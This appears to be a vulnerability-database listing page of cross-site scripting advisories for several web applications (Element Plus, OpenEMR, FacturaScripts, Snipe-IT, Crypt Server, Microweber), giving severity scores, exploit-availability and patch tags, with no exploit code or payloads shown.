element-plus 2.0.5 is vulnerable to Cross Site Scripting (XSS) via el-table-column. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Element Plus
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS Leads To Session Hijacking in GitHub repository openemr/openemr prior to 6.1.0.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Openemr
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Store XSS in title parameter executing at EditUser Page & EditProducto page in GitHub repository neorazorx/facturascripts prior to 2022.04. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Facturascripts
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored Cross Site Scripting vulnerability in the checked_out_to parameter in GitHub repository snipe/snipe-it prior to 5.4.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Snipe It
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Crypt Server before 3.3.0 allows XSS in the index view. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Crypt Server
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

Reflected XSS on demo.microweber.org/demo/module/ in GitHub repository microweber/microweber prior to 1.2.15. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39237

Related CWEs

MITRE ATT&CK

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